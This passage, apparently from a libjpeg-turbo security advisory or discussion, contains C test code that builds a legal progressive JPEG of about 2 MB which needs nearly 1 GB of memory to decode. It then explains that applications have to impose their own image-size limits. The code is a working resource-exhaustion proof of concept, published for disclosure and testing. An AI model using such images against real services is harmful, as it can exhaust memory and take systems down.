  0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
  0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
  0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
  0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
  0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
  0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
  0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98,
  0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
  0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6,
  0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5,
  0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4,
  0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2,
  0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea,
  0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8,
  0xf9, 0xfa
};

#define WRITE_BYTE(byte) { img[off] = (byte);  off++; }
#define WRITE_WORD(word) { \
  WRITE_BYTE((word >> 8) & 0xff); \
  WRITE_BYTE(word & 0xff); \
}

/* progressive Huffman */
#define SOF2 \
  "\xFF\xC2\x00\x0B\x08" WIDTH HEIGHT "\x01\x00\x11\x00"

int main(void) {
  puts("preparing...");
  unsigned char head[] =
    /*SOI*/ "\xFF\xD8"
    SOF2
    /*DQT*/ "\xFF\xDB\x00\x43\x00" /*values in quanttab*/;
  unsigned char sos[SOSLEN] =
    "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x00";

  int headlen = sizeof(head)-1;
```

```
  int i, len, nval;

  unsigned char img[8000 KB];
  memcpy(img, head, headlen);
  int off = headlen;
  memcpy(img+off, quanttab, quanttab_size);
  off += quanttab_size;

  /* Write default Huffman tables */
  WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
  nval = 0;
  for(i = 0; i < 16; i++) nval += dclumbits[i];
  len = 19 + nval;
  WRITE_WORD(len);  /* DHT length */
  WRITE_BYTE(0x00);  /* Huffman class */
  for(i = 0; i < 16; i++) WRITE_BYTE(dclumbits[i]);
  for(i = 0; i < nval; i++) WRITE_BYTE(dclumvals[i]);

  WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
  nval = 0;
  for(i = 0; i < 16; i++) nval += aclumbits[i];
  len = 19 + nval;
  WRITE_WORD(len);  /* DHT length */
  WRITE_BYTE(0x10);  /* Huffman class */
  for(i = 0; i < 16; i++) WRITE_BYTE(aclumbits[i]);
  for(i = 0; i < nval; i++) WRITE_BYTE(aclumvals[i]);

  /* NOTE: The width and height are both padded up to the nearest multiple of 8
here */
  #define DCSCANSIZE (16448 * 30840 / 64 / 4)
  memcpy(img + off, sos, SOSLEN);
  off += SOSLEN;
  for (i = 0; i < DCSCANSIZE; i++)
    img[off++] = 0;
  img[off++] = 0xff;  img[off++] = 0xd9;  /* EOI marker */

  FILE *f = fopen("oom_valid_huff.jpg", "w");
  if (!f) err(1, "fopen");
  if (fwrite(img, off, 1, f) != 1)
    errx(1, "fwrite");
  if (fclose(f))
    err(1, "fclose");

  return 0;
}
```

This test code generates a completely legal progressive Huffman-coded image with dimensions 16448 x 30840, occupying less than 2 MB of storage but requiring nearly 1 GB of memory to decode. As with -003, there is nothing much that the JPEG decoder can do to prevent this situation, since it is perfectly legal for JPEG images to be nearly 4 gigapixels in size. Whereas this valid test image behaves identically to the corrupt test image when opened in the aforementioned browsers, it now causes PhotoShop to consume a large amount of memory when decoding the image.

The only appropriate solution seems to be to place a reasonable limit on the size of the JPEG image, and what that limit should be is best decided by individual applications. libjpeg[-turbo] could not impose such a limit without violating the JPEG spec. Imposing an application-specific size limit in libjpeg[-turbo] is a simple matter of calling `jpeg_read_header()` and examining the values of cinfo.image_width and cinfo.image_height after that function returns, or calling `tjDecompressHeader3()` and examining the values returned for width and height.